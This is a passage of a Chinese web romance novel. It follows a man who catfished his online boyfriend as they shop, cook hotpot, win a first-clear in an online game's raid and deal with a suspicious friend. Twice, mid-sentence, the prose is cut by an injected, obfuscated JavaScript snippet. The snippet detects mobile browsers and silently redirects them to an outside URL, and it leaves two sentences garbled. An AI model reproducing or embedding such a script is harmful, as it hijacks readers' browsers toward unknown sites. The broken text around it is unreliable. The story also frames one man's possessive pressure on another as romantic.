“那你也得去买吃的，家里什么都没有，让我喝西北风？别忘了之前答应我的条件。” 听到新的“约法三章”，黎清最终还是在他凌厉的视线中败下阵来，乖乖换上棉袄。 此时黎清坐在后座，悄悄看了眼身边的男人，不由得反思：自己这性格，怎么就不能硬气一点呢？ 以前在宿舍里挨欺负就算了，还好最后鼓起勇气反抗，顺利逃离了有毒的环境。 可现在面对被自己骗的萧奕然，他又没有了拒绝的勇气，对视超过三秒就开始心虚，舌头笨的不听使唤。 又要被牵着走了… 就这样想了一路，到了地方，该下车了。 这车是萧奕然叫的，里头宽敞舒服，空调温度正好。骤然打开门，外面的冷空气骤然袭来，黎清的身体几乎是立刻就有了反应。 “阿嚏——！” 出门走得急，衣服也没穿多厚，本想着随便找个超市逛逛得了，谁知道萧奕然却让车开到了市中心。 “冷？”听到他打喷嚏，萧奕然斜过视线。 “还好…咳咳，今天室外风有点大。” 黎清把棉袄的拉链往上拉了点，但打完喷嚏后，一向不太好的呼吸道又传来痒意，接连咳嗽了好几声。 “啧。” 男人拧紧眉毛，看向眼角都咳出泪花的黎清，像是看见了什么天大的难题。 他还穿着昨天晚上的那件大衣，看着更加单薄，却好像一点都不怕冷，也不知道这幅装束是怎么在楼下潜伏那么久的。 大冬天穿这么少，其实就是为了耍帅吧。 看见他那双比自己长一截的腿，黎清酸溜溜地想。 “等会儿直接去里面买件厚的衣服。”萧奕然开口。 “不用啊，赶快进商场里就不冷了！”黎清边回答边小跑，脚步哒哒哒，倒像是更迫不及待的那个。 萧奕然看着他这副模样，紧蹙的眉心不自觉地松了松。 虽然一路上交流不太和谐，但总算到达了建筑内部。 如黎清所料，这个位于市中心的高级商场里果然十分温暖，还有一股好闻的香气。 踏上光洁的大理石地板，两侧是五光十色的橱窗，头顶是璀璨的巨型吊灯，处处都透着高级的感觉。黎清对奢侈品不了解，但也认出几个国际大牌，都是他一个穷学生平日不敢踏足的地方。 而且不知是不是错觉，他总觉得别人都穿得体又时尚，只有自己土土的。低头看看棉袄和棉鞋，黎清瞬间没了逛街的心情。 “要不先去超市买日用品和吃的，买完再上楼，东西能寄存……” 话说到一半，萧奕然就发现没人回应。 又开始神游了。 在现实接触黎清不超过二十四小时，萧奕然这种急性子就领教了他的本事。 交谈时会突然发愣、吃饭时嚼几口就要歇一歇、甚至被人掐着脸质问时都在想些有的没的，还没说几句重话眼眶就红了。 本以为一个网络骗子，线上装清纯女大，线下该是个精通人性的抠脚大汉。没想到真人恰恰相反：对峙时说饿，没吃几口就说撑；吹阵风就咳得眼泪汪汪，进了商场就呆站在原地。 难伺候又麻烦，还傻乎乎的。 ——这样的一个人，居然把我蒙在鼓里足足三四个月？ 光是想到那段恋爱脑的时光，萧奕然就感觉到奇耻大辱。 不过他也算是看出来了，黎清这人，性格太软，又容易左右摇摆。比起商量，不如直接替他做决定，反正他也根本拒绝不了。 就像今天早上的意外，脸都憋成那样了，不还是只能被压在身下么？ 分开的时候，萧奕然分明看见他在抖，腿绞地紧紧的。被这样对待都没生气，甚至不敢指责半句。 回味那手感，他就牙根子发痒，又用舌头顶了顶腮。 耐心告罄。他伸手捏住黎清的后颈，直接把这只神游的小动物往超市方向带去。 …… 到了负一层的进口超市，黎清的潮流恐惧症总算缓解了些。虽然是进口超市，但总比楼上接地气多了。 他们推了一辆巨大的购物车，像真正的室友那样逛了起来。 黎清之前也和陶朗逛过超市，可和陶朗不同的是，萧奕然购物不看价格就算了，连分量也丝毫不考虑合理性。选购的很多东西都是家庭分享装，根本不适合两个人购买。 于是分歧又开始了。 眼看着萧奕然拿了份足足快四斤重的原切牛排，黎清连忙制止他。 “这个太多了，买了我们也吃不完的。” “吃不完放冰箱，我付钱。” “水果买普通的就好了，又不送人，为什么要买这种礼盒装呢。” “我乐意。” “海鲜我不会做呀，买回去也是浪费。” “新鲜的清蒸就行了。” 两人就这样鸡同鸭讲的逛着，黎清劝阻，萧奕然则充耳不闻，边推着车边往里一箩筐地送。 直到他路过冰柜，伸手去提一个六寸蛋糕时，黎清终于忍无可忍。 “……把这个放回去！” 难得提高的音量让男人愣了一下。 “怎么，你不爱吃甜的？” 萧奕然有点意外，刚刚他还在分析黎清性格软、不会拒绝呢，这会儿怎么突然就强势起来了。 当然不是。黎清挺爱吃甜的，而且花的又不是他自己的钱，他还巴不得萧奕然大出血呢。 可是蛋糕这种东西不一样，哪怕放冰箱里也最多保存一两天，还不能折叠不能硬塞，家里的小冰箱哪里容得下？吃不完就浪费了。 “反正你放回去。” 他不想解释原因，站在那里生闷气，一半气萧奕然听不懂人话，一半气自己不够强硬。 “行吧。” 意外地，萧奕然没有继续坚持，居然把蛋糕放了回去。像是猜到了黎清的想法，又试探性地拿了份只有四个装的小份马卡龙，观察着看他的反应。 没说话，看来是同意了。 之后的采购顺利多了，他们就两个人，按照萧奕然的说法，只在这住几天，这一购物车食材肯定是够了。 路过速食产品区，黎清看见了自己爱吃的泡面，本想买一袋，但拿东西的手悬在半空又停了下来。 网上买应该会更便宜吧…他有点想拿出手机查，又觉得有点不好意思。 旁边的萧奕然看不下去，直接拿了三大袋扔进购物车。 买这么多，我就是再喜欢也要吃腻了。 黎清想拿回去一点，又转念一想，可能是萧奕然自己想吃呢？其实早就折服在我的厨艺之下了吧，还撒谎说很一般。 对于自己的泡面，黎清是拥有绝对自信的，索性就随他去了，最后一起结账、离开。 “泡面的钱我回去单独转给你喔。” 超市的工作人员帮忙核算价格和装袋时，黎清小声对萧奕然说。 “差你这么点钱？”萧奕然瞥他一眼，像是十分不屑：“晚上做饭卖力点就行。” “……” 又是一通闹别扭，黎清转过头，早知道就不跟他说话了。 … 在超市买的东西暂时寄存，接下来萧奕然还要去楼上继续逛。黎清一踏足商场楼上，那种紧张的感觉就又回来了。 “先生，请问是想要买些什么呢？” 他们刚进店，领头的萧奕然就被柜姐盯上了。对方迎上来，态度热情。 让萧奕然应付就好了，黎清想着，反正是他要买衣服。结果刚缩到他身后，这人却突然偏过头：“给他拿件厚点的。” ……？！ “羊绒的可以吗，先生。” 面对妆容精致、语气温柔的柜姐，黎清大脑功能几乎丧失。他稀里糊涂接过衣服走进更衣室，稀里糊涂站到镜子前，收获连连赞叹。 “天呐，您穿这一身实在太合适了！” 她说话很有水平，热情又不显得过分夸张，温温柔柔的声音和身上的香水味却让黎清站立难安。 她一连挑了好几件，黎清便挨个去试，每一件上身竟都意外地合适。面对“底子真好”“气质干净”“五官精致”各种天花乱坠的词语，黎清简直呆若木鸡，话都不会说了。 “行了，赶紧包起来。” 换装活动进行的如火如荼时，一边的萧奕然却打断，脸色不算好看。 看见他的神情，柜姐显然也不知道自己做错了什么，服务哪里出了问题，一时间有点无措。但好在客人还是愿意买单的，结完账她便识趣地将人送了出去。 走出店铺时，黎清还晕晕乎乎的，脸色的温度没褪去，走路都只会低着头跟在萧奕然后面。 “我说。” 走到一半，身前的人突然停了下来，没反应过来的黎清则撞到了他的后背。 “唔……” 鼻子撞到了，不算疼，但太突然。黎清捂着脸，抬起头，不解地望向萧奕然。 “你刚刚看那个女的，眼睛都看直了，对她有意思？” 他说的“那女的”，莫非是柜姐吗？ 黎清震惊，对她有意思，这又是什么意思？ “你在说什么呢，当然不可能。” “最好是这样。”萧奕然冷笑。 “容我提醒一句，这种销售最会看人下菜碟了，你人刚走进去，她就能把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167942|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一身行头值多少钱算出来。” 那我今天这一身值多少？ 黎清五雷轰顶，棉袄是三百多块买的，裤子好像不到一百，棉鞋是奶奶做的，不算手机这项全身最贵资产外，共计可能不到五百。 也许她是看出萧奕然比较有钱，才对我热情的。但那又怎么样呢？她提供了好的服务，在努力工作，虽然我穿的有不算好看，又不擅长搭配…… 听了萧奕然的“提醒”，黎清陷入了内耗，结果内耗到一半，又想起一件更重要的事——衣服的价格。 “要不，我们去退掉吧？” 想到这茬，黎清脸色白了，什么柜姐不柜姐的，瞬间忘到九霄云外：“我买不起这些衣服的。” “谁说是买给你的？” 一提钱，萧奕然脸色更黑了，看上去恨不得跟黎清吵架一样，“等我走的时候衣服也一起带走，别自作多情。” 那就好。 听到这句狠话，黎清反倒放宽了心。后来在萧奕然买衣服时也只充当跟班小弟，看都不敢看那些销售一眼。 逛了大半天，走了不知多少路，手上的购物袋也换了两轮。 虽然没让他提什么重物，但黎清的体力还是有点跟不上，步子越来越碎，像只电量告急、随时会停摆的小机器人。 最后只能拽住萧奕然的衣角：“要不，我们回去吧……” “走不动了？” 看见黎清苍白的脸色，两条腿软绵绵的，整个人透出“我不行了”的姿态，萧奕然了然。 “嗯。”黎清连连点头，额前碎发都跟着晃了晃。 “可是我电脑还没买呢。” “那下次……” 说到一半，黎清戛然而止。 电脑！？ 一时间，大概同时有几百个问题同时在黎清脑海中闪过，涵盖你为什么要买、买完放在哪里、买来干什么、总不能是为了打游戏吧、你到底是来讨债的还是来定居的等等等等。 问题太多，他最后只是张了张嘴，什么都没说，只是累累地、抬眼看向萧奕然。 像是在拜托地说，自己真的累了。 “算了，回去吧。” 眼神的交锋下，萧奕然最后还是妥协了，连忙转过视线。 但是离开前还要取寄存在楼下的购物袋，今天的战利品也算是相当丰富了。 * 到家时天已经擦黑。 黎清在回来的车上睡着了，迷迷糊糊被叫醒，提着几件衣服到家时，人已经站在了玄关。 换衣服，脱外套，把需要冷藏保存的东西放进冰箱，等回过神时，萧奕然已经把今天买的食材摊在料理台前。 “愣着干嘛，”萧奕然头也不回，“去洗手，然后做饭。” “……哦。” 黎清乖乖洗了手，走到了案板前，结果在处理的第一步就犯了难。 “你真的会做饭？” 萧奕然在一边，看着黎清用刀划开牛排包装都费劲，甚至好几下刀锋都偏了，语气满是不相信。 “我会的！” 黎清这话倒没撒谎，他确实会做饭，但也仅限于西红柿炒鸡蛋、紫菜蛋花汤这类普通的家常菜，对于牛排如何烹饪却是一窍不通，更别提海鲜了。 萧奕然啧了一声，看不下去，伸手把刀接过来：“我来。” 可他也没好到哪去。家里只有一口深炒菜用的铁锅，跟他平时用的铸铁锅不是一回事，火候控不住，油温一起来，满屋都是烟。 “咳咳……！” 黎清手忙脚乱开窗通风。回头一看，萧奕然正和那块三厘米厚的和牛牛排较劲，眉头拧成疙瘩，显然也驯服不了这块他执意要买回来的东西。 最后，两个厨房笨蛋同时沉默，目光落在墙角那口落灰的电磁炉上。 管他是什么牛排还是龙虾，都被切成了块，再加上一起买的蔬菜和肉卷，家里剩的火锅底料，通通都扔进了这口不怎么用的电煮锅里。 锅很快开了。 “怎么样？” 吃饭的时候，黎清觉得一直不说话有点尴尬，还问萧奕然。 “比早上的煎蛋强。” 不就是糊了一颗蛋吗，到底还要再提几遍！ 黎清愤愤地夹起一块牛肉，蘸了蘸料，塞进嘴里。 窗外夜色渐沉，小小的出租屋里，火锅咕嘟咕嘟地滚着，白汽氤氲，模糊了两个人的眉眼。 这样的相处，逛街、做饭、然后一起吃，倒真像是萧奕然曾经幻想过情侣同居生活。 只是现在女友没了，取而代之的是个又呆又傻，看见女人就脸红，娇气又麻烦的男骗子。 他们难得没有吵架，也没有聊横亘在两人之间的矛盾。话题不知怎么拐到了游戏上，聊起天问的副本机制，黎清越说越来劲，眼睛都亮了。 “那个，”一同收拾完厨房，黎清已经心痒难耐，“等会儿我上游戏玩两把，你要不在客厅看电视？或者出去转转……” 他试图和这尊大佛商量，还他一片自由游戏的天地。 萧奕然瞥他一眼。 “说什么呢。” 他的语气理所当然，甚至带着点匪夷所思的理直气壮： “因为你我今天电脑都没买，当然得在旁边看着你玩。” 28.第二十八章 【队伍】领队：过一会儿副本就开了，大家别卡点到啊，最近人多的要命 【队伍】领队：[16:363] 又是周五，又到了打团本的日子。不过今天有点特殊，要挑战的是刚出的新副本。 最近各地学校陆续放寒假，天问也跟着凑热闹。版本小更新后，一口气上了两套直售时装、四套抽奖转盘，还配了全新坐骑，外加一堆家具武器和饰品。 明摆着盯上了学生党的压岁钱，誓要趁过年狠狠捞一笔。 黎清今年不回家，自然不会有压岁钱，不过就算有，也不会充进游戏里。 喜欢是占有，爱才是克制，他对天问的爱就是如此情真意切。 … 当晚八点，距离团本还有半个小时。 做完日常后，黎清无所事事地点开了活动商城。刚刷了两页，身旁就传来对本次更新内容的犀利点评： “这新转盘也太丑了，设计师整天让出这种衣不蔽体的东西，想走性感风，结果上身像乞丐。” 黎清默默划到下一页。 “新坐骑是什么玩意儿，暗黑飞马？建模可真够烂的，背上还有两个鸡翅膀。要不是马年快到了，估计都没人要。” 又翻了一页。 “武器还行，特效给的足，光圈也帅，这个可以买。” 最后，黎清将活动从上到下过了一遍，又仔细看了更新公告，得出的结论是：除了限时副本和几套免费外观以外，其余都跟自己没关系，并不需要氪金方面的指导。 可萧奕然倒是挺有意见的，先是批评了男号的衣服设计，又嘲讽了天问的建模水平，看上去怨念颇深。 现在说这么多，等上线之后，你不还是扫荡一空吗？ 黎清在心里吐槽。算了，反正他也不差钱，跟我没关系。 无聊的等待总算熬过去。副本开启前十分钟，黎清准时赶到集合点，摩拳擦掌，对接下来的挑战跃跃欲试。 “今天我不在，你们可别打不过。” 开副本前，萧奕然还在旁边说风凉话。他搬了个椅子坐在黎清身边，双手抱臂，两腿岔开，大马金刀地坐着，“到时候可别哭。” 黎清握着鼠标，懒得分给他一个眼神：“不可能的。” 谁知这话居然一语成谶。 说起来，今天也是凑巧。不仅最强战力的帮主不在，平时担任主指挥的副团长也恰好有事。 一次折损两员大将，挑战的还是没攻略的高难度副本，中途谁稍微失误一下，整个流程就得重来。连续挑战了好几次都没成功。 【队伍】526：对不起啊大家，刚刚没躲好技能 又一次团灭。这次是主T走位失误，没拉住BOSS仇恨，让它越过前排直扑后排奶妈。大型团本少个奶，接下来的战斗自然溃不成军。 失误的人主动道歉，大家也表示理解和安慰，但失败的次数多了，原本高昂的气氛也不由得变得沉闷。 黎清心情也跟着闷。 今天他从吃饭那会儿就急着上线，刚开始手感火热，谁知道会卡在这儿。 副本过不去也不是头一回，大不了多试几次。但这次格外难熬，可能是因为旁边有人在看吧。 “这地方不该站着不动吧，”黎清盯着屏幕，小声嘀咕，“耗血更快。” 这次的BOSS是个叫一号的机器人。背景故事里它因遭到虐待而脱落了机械眼，特性是视力差，主要通过声音定位。于是每次大招蓄力期间，领队就让大家开静步别动，以免激怒它，安静等大招过去。 可这个方法也不太靠谱，游戏制作组不是傻子，不会设置这么明显的破绽。所以按照设定，当BOSS无法寻找到目标时，就会向周围释放无差别的炮弹攻击，一扫就是一片。 虽然不至于当场死人，却会导致奶妈的群奶技能进入CD，难以应对接下来的猛烈攻势。 “你开麦跟领队说，说这部分的指挥有问题，现在改变战略，或者直接换你来指挥。” 全程观看的萧奕然看到了这一切，目睹了他们一次次的失败，也眼睁睁看着黎清从开始的兴奋到现在的低落，抱着膝盖缩在椅子里，整个人都快陷进去。 “算了吧，我不敢指挥。” 黎清恹恹地垂着眼，拒绝了这个提议。 性格如此，他是那种不爱出风头的人。 从前上课的时候，老师在课堂上提问，哪怕知道答案，他也从来不举手。和别人交谈时，就算发现错误，也会顾及对方的面子不去纠正，只是安静地倾听。 知道答案时尚且沉默，何况这次副本是全新的，谁也不知道正确打法，一切都只是猜测。万一改了策略还是不对怎么办？耽误全队时间，这锅他背不起。 “有什么不敢的。” 身旁的萧奕然将身体凑过来，弯过头想看清他的表情，“胆子怎么这么小。” 你又不是第一天知道了！ 黎清本来就烦，被萧奕然这么说就更烦了。 这人之前就总这样，自从知道“女友”胆子小后，没事就爱拿这个调侃，还提议见面后要一起看恐怖片，打的什么主意一眼就能看明白。 “可我也不知道自己的猜测是不是对的。”黎清侧过头看他，却被两人之间的距离吓了一跳，他怎么突然凑的这么近？ “那你们就卡在这儿了？”萧奕然没退，“现在怎么办。” “……” 一阵沉默，黎清不知道怎么回。看人垂头丧气的样子，又想起他吃饭的时候聊游戏聊的眉飞色舞、两眼放光的神态，萧奕然突然有点不爽，但又不知道这不爽从何而来。 “算了。” 他伸出手，用指关节敲了敲桌子，“你现在去登我的号，用我的号来指挥他们。” “用你的？” 黎清有点震惊，他之前还从没玩过萧奕然的号呢。 “不然呢，谁叫我是帮主，绝佳的背锅侠，指挥错了也没人敢说什么。” 得到这阵强心剂，黎清用[小清宝宝]在队伍频道说明了打算。因为知道他们的“情侣”关系，大家也没觉得哪里不对，反而纷纷应和。 【太好了！】 【终于不用坐牢了啊】 【帮主今天不是有事，不能来吗？】 【媳妇需要帮忙，事情自然就没了】 【嫂子威武[大拇指]】 这群人一张嘴就是起哄，黎清刚开始特别不适应，好不容易才慢慢习惯。 可是今天，另一个当事人就坐在自己身边，那种脸颊发烫的感觉又来了。心跳的好快，他不敢看萧奕然的表情，只能把目光投到电脑屏幕，被迫观看满屏的“好甜”和“99”。 【话说为什么要换人啊？嫂子你dps也挺高的，直接让帮主替个垫底的一起打呗，夫妻档走起来】 【可能坐牢坐烦了吧】 刷过去的交谈里，偶尔也有人提出这样的疑问，但当事人没回应，也就不了了之。 顺利登上萧奕然的账号，黎清简直刘姥姥进大观园，惊的嘴巴都张开了。 我的天…这个外观，这个武器数值…这个拉风的火麒麟… 虽然组队久了知道萧奕然账号极品，但别人的视角总会削减些特效和细节，带来的冲击远不如亲自上手。 操控着[爱妻小清]的第一视角刚登进去，铺天盖地的邮件提醒就弹了出来：贵族等级的礼物和福利，专属客服的亲切问候，都是他从没见过的东西。 随之而来的还有数不清的消息提醒：好友的，帮会的，还有陌生人的。 萧奕然似乎关闭了好友申请，但附近的打招呼消息里，“卖号吗我亏点50收了”、“好心人能请我吃个外卖吗”、“哥哥好帅”之类的还是一条接一条。有的积压已久，有的刚弹出来，红点和提示音一刻不停。 “靠，你的设备没关消息提醒，这些我平时都不看的，也根本没回过。” 眼看着黎清点开一条像是搭讪的消息，萧奕然瞬间坐不住了，这下手臂也不抱了，坐直身体就开始嚷嚷。 “你回呗，人家特地发给你的。”黎清倒没什么反应，这种百万氪条级别的账号，用脚趾头想都知道很多人感兴趣，私信丰富点，正常。 “我说了我不看，烦都烦死了！” 听了这话，萧奕然更是被点燃了，抢过鼠标就把这些消息全部叉掉，这才清净了点。 “你……！” 抢我鼠标干什么？ 黎清想问他，但没问出口。经过这么一遭，这下他们的距离更近了，手臂都挨到了一起。 “别又出bug了，机器人二号。” 习惯了黎清随时随地的发呆，萧奕然现在也不奇怪了，倒是觉得观察起来也挺有意思的。 不过现在不是观察的时候。帮会里十几号人正等着帮主救他们脱离坐牢苦海呢。 “别忘了副本。” 黎清回过神，赶紧传送到副本位置。 救星降临，大家的士气显然回升。作为全服排名前十的账号，[爱妻小清]一个人抵两三个人的战力都不在话下，只要有他在，想必通关也是板上钉钉的事。 【队伍】领队：帮主，我把队长和马甲移交给你。 这下，黎清算是顺利当上了领队的位置，并兼职了语音频道的总指挥，拥有了本次副本的最高决策权。 “你快点开麦说句话。” 他朝独孤使了个眼色，大家都等着呢。 ……？ 萧奕然被他挤了下眼睛，一时间还没懂，又过了几秒才明白黎清的意思。 合着这是要唱双簧，一个人负责操作，一个人负责开麦，说实在的，这才叫真正的“夫妻档”吧。 不知联想到了什么，他勾了勾嘴角，按下麦克风的开麦键，这次没开声卡，熟悉的男声很快在语音频道响起。 “OK能听到吗，现在都闭麦听我指挥，要进副本了。” … 接下来的副本比之前顺利许多。 其实在之前几次的尝试里，黎清就对这次副本有了大概的理解，针对好几处难点也想到了对策，只是出于内向不敢主动去说。 现在有了萧奕然这个“嘴替”，他终于得以把自己的想法说出来。除了照常的流程和提醒是自由发挥外，遇到需要注意的地方，他就会闭麦和萧奕然说，再让萧奕然开麦转达。 一个台前，一个幕后，二人分工明确，再加上萧奕然的高战力账号，连流程都比之前要快上不少。 “马上是大招了，”黎清盯着屏幕，“这次让大家别开静步，除奶妈外直接跑起来。” 萧奕然照做。众人四散开来，大招蓄力期间的BOSS听到动静，立刻进入狂暴模式，开始攻击能听到响动的一切目标。 因为人多，十几个人都向不同方向跑动、放技能。虽然加速了BOSS怒气值的增长，但群体伤害并没有释放，而是持续不断的单体攻击，奶妈的治疗工作量也少了很多。 眼看着机器人逐渐狂化，出招的动作也越来越快，就在它因暴怒而想要提升火力，启动胸前的能源储备时，黎清却看准了它卸下防备的瞬间，操控[爱妻小清]闪身贴了上去。 就是现在！ 有人在靠近，对声音敏锐的机器人也立刻有了反应，准备重启防备，但时间已经晚了，敏捷点满的剑修已经贴到了身前，试图将剑刺进它胸前的能源核心。 它发出怒吼，身后的机械手臂也飞速缠绕过来。 “轰隆——！” 一阵巨响，伴随爆炸产生的蓝色光芒。副本内的背景石壁被炸成废墟。 为了攻击敌人也为了保护自己，机器人在动用机械手臂时会将其挥向胸前。黎清正是抓住这个机会佯装攻击，实则为了改变机械臂方向。钢铁四肢没那么灵活，被改变方向后径直朝前，生生刺进了胸前的能量核心。 它杀了自己。 “你是怎么想到的…” 萧奕然都不自觉看呆了，他之前一直知道黎清的玩的不错，但也仅限于还可以的水平，一个药仙玩的很老练的人。 可今天，他操控自己的账号，面对不熟悉的职业，居然也发挥了远超常人实力。 最后一波的时候，他本想提醒黎清别离机器人太近，以免被一击必杀。谁知对方却是故意的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178125|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在短短几次交锋中，他不仅看出了BOSS的缺点，在脑海中确定方案，在极限中抓住timing，并最后付诸操作，完成了一套由设想到实践的全过程，流畅到堪称完美。 一阵尘埃落定，伴随着【通关成功】的提示，系统弹出喇叭，恭喜“杀伐”帮会完成了本服的首次击杀。 机器人倒在了地上，四肢零件散落一地，而在它的身躯之上，白衣剑修身影孑然。 【帮主nb！】 【我靠，我都没看清发生了什么】 【？怎么回事，打完了，甚至全服首通】 【太牛了】 队伍频道疯狂弹消息，都在惊叹于他们帮主大人的反应和操作，但帮主本人却坐在原地，心中久久不能平静。 萧奕然看向黎清，作为背后的主指挥和操作人，他终于顺利带领大家战胜BOSS，甚至意外斩获了一项首通记录，这会儿显然情绪高昂。 刚刚吃饭时眉飞色舞的样子又回来了：他眼睛亮亮的，抿着嘴笑，梨涡若隐若现。明明心里高兴坏了，面上却只藏着一点小小的得意。 “不是我。” 面对众人的赞叹，看着那白皙的侧脸，以及那枚小小的梨涡，萧奕然不由自主地打开麦克风：“刚才不是我操作的，指挥也不是我，是有人在登我的号——” “喂！你说什么呢。” 黎清慌忙制止，但已经晚了。 * 【红心柚子：宝宝】 副本结束，柚子的私信果然来了，黎清深吸一口气，认命地点开了微信。 【红心柚子：他现在在你身边？】 刚刚那一嗓子，虽然萧奕然很快就被黎清把麦掐了，但众人还是很清楚地听见，他身边有人正在说话。 那声音，如果是不熟悉的人，估计会觉得有些陌生。但对于柚子来说，她一听就知道，这就是她的好闺蜜[小清宝宝]的声音。 【红心柚子：你们这么快就线下见面了？他来找你了？你之前怎么答应我的，为什么这种事都不告诉我】 她的语气有点激烈，显然是误会了，以为闺蜜背着他跟网恋男友面基。两人孤男寡女，这么晚了在待一起，说是打游戏，代表着什么可想而知。 【清清绵绵冰：没…呃，他没来找我】 黎清哪知道怎么回答，只能挑其中一个好回答的撒了个慌。 【红心柚子：那是你去找他了？？】 【红心柚子：你知道一个女生线下跑去找男的有多危险吗。你家里人知道吗，这会儿住在哪里？你们俩睡在一起？】 眼看事态越来越严重，黎清吓得冷汗都出来了。好在萧奕然刚才洗澡去了，不然他是真的连编都编不下去了。 当务之急，他只能先安抚柚子。 【清清绵绵冰：没有你想的那么严重，柚子】 【清清绵绵冰：我们只是先认识认识，现在在网吧呢，晚上也不会睡在一起的，你放心】 听到他说没住一起，柚子总算松了口气。 【红心柚子：那就好，你知道刚刚突然听见你跟帮主在一个麦里讲话，我有多担心吗】 【红心柚子：网恋不是大事，但面基是。宝贝，你才十几岁，没满二十，不知道现在的男人有多坏】 柚子今年二十三，已经参加工作了。自从知道黎清是个年方十九，从没谈过恋爱的纯情“妹妹”后，言语间也多了点姐姐般的关心。 真的很对不起她… 黎清心里涌起歉疚。自己不仅辜负了柚子的关心，还对她撒谎，太差劲了。 不过从某种意义上来说，柚子说的倒挺对的。现在的一些男人真的很危险，尤其是那种靠蛛丝马迹就摸到别人家里，并且强行挤进去，还在别人家洗澡睡觉的男人… 【红心柚子：算了，我早有预感你们会见面的】 【红心柚子：反正就记住我的话，别让他随便动手动脚，冲你使坏你要懂得拒绝，要是真发生什么，记得做措施，知道不？】 【清清绵绵冰：嗯……】 听见浴室里的动静，配合柚子的文字，黎清的耳朵都红了。 不知什么时候，萧奕然已经洗完澡了。他上身赤裸，水珠还挂在肩颈，手里拿着毛巾随意擦着头发，就这么大摇大摆地走进了卧室。 ？！ 黎清本来就被柚子的话臊得脑子发懵，现在猛地抬眼就撞见萧奕然半裸的身体，线条分明的肌肉线条在灯光下清晰可见。 刹那间，他脑子里“嗡”的一声，竟冒出个荒谬的念头：好像他们真是线下见面的情侣，甚至已经洗完了澡，接下来马上就要…… “你怎么不穿衣服……！” 他慌忙别过头去，耳根烫得能煎蛋。 “忘拿了。”萧奕然语气平静，走到床边前翻找，“刚才叫你帮我递一下，你压根没听见。” 黎清这才想起，刚才自己正忙着回复柚子，哪里有心情关心其他东西。 可没心情归没心情，他现在还是不高兴，这可是自己的卧室，他头发都没吹就走进来，水都滴到地板上了。 “对了。” 萧奕然突然开口，把话题轻飘飘拨到另一边，“刚才那个副本，你最后那波思路挺不错。” “……什么？” “就是BOSS狂暴的时候，你指挥他们往四周跑，然后自己冲到前面，最后让它自杀的。”萧奕然套上一件干净的T恤，布料落下，遮住刚才那片刺眼的光景，“可以整理成攻略，发到论坛或者社交媒体上。” 黎清愣住，刚才那股恼怒像被戳了个洞的气球，一点点瘪下去。 “哦。”他小声应了句，有点不适应这种突如其来的正经夸奖。 萧奕然瞥他一眼，见他耳尖还是红的，嘴角几不可察地弯了弯，没再多说什么，转身往外走。 “对了，”走到门口又停住，头也不回地扔下一句，“下次叫我叫你的时候，记得把耳朵竖起来。” “……赶紧吹头发去，然后把地擦干净！” 黎清冲着他背影没好气地应了一声，等人走了才敢把脸埋进掌心里。 ——这人绝对是故意的。 29.第二十九章 收到多方鼓励，当晚黎清就写了一篇新副本的通关攻略。 攻略写得十分详尽，各种可能翻车的地方都标注得清清楚楚，连解法都给了两套备选。一点没藏私，全都发论坛里了。 【谢谢楼主，好人一生平安～】 【哇塞这么快，我记得这副本才刚出啊】 【是今晚冲首通的队伍吗？这会儿全服好像就十几个通关记录，厉害的嘞】 遇到这种不吝分享的菩萨，评论区自然都是好评。当看到最终BOSS战时，楼主居然另辟蹊径，用一种更高效又巧妙的方式解决战斗，更是赞不绝口。 【写得真好，细节抠得很到位。不过文字还是有点局限。建议把回放视频发某站或抖抖，搭配解说食用更佳哦 (＾▽＾) 】 有人给黎清留言，建议他优化成视频版。 这主意确实不错。天问是3D开放式游戏，很多走位和细节光靠文字确实讲不清楚。 可还要搭配解说？我吗？ 想到自己那张笨嘴，黎清叹了口气。 “这都快凌晨一点了，还不睡？” 萧奕然的声音从身后冒出来。 黎清这才想起屋里还有个人：“再一会儿就好……你要睡了吗，那我明天再弄。” “没，随便问问。” “哦。” … 说是一会儿，结果黎清又在电脑前生生坐了一个多小时。 视频倒是不愁，天问会自动保存副本回放到云端，七天一删，现在导出完全来得及。 愁的是下一步。 “那个……” 准备解说，对着麦克风，黎清还没开口就词穷了。 屏幕之中，白衣剑修正冲向BOSS。刀光剑影间，衣袂翻飞，动作行云流水。极品武器的光圈在他周身炸开，映出刀削般凌厉的侧脸，活脱脱一个高不可攀的绝世高手。 而屏幕外，打出这番帅气操作的本尊却攥着鼠标，声音磕磕绊绊，耳尖泛着薄红，跟高冷剑客似乎没半毛钱关系。 “大家好…我是…” 萧奕然本来已经躺到地铺上了，听见断断续续的嘟囔，又翻了个身，想听听他要说什么。 结果就这一句，然后没声了。 他数到十，房间依旧安静。最后忍无可忍，掀开被子坐起来。 “你这样录到天亮也录不完。” 走到电脑前，黎清正对着电脑念念有词，声音小得像蚊子哼。手指无意识地绕着耳机线，一圈又一圈。 听见声音，黎清扭头就看见个大高个杵在身后，比门口的衣架还高。 “我现在还没有录，只是练习呢。”他向大高个解释。 “练习什么？练习怎么把自己绕晕？” 男人俯身，凑近屏幕瞥了眼那段视频——正好是最后黎清贴脸操作的高光片段。 “这段确实帅。”他点头，目光却从屏幕移到了黎清脸上，“但你打算怎么解说？‘然后我冲上去，拔剑，就打赢了’？” 被预判了台词，黎清的手指跟耳机线缠的更紧了。 萧奕然看他，忽然想起这人平时说话的样子。不算外向，嗓门也小，但正常交流没问题。怎么一对着麦克风就变成这副模样？ 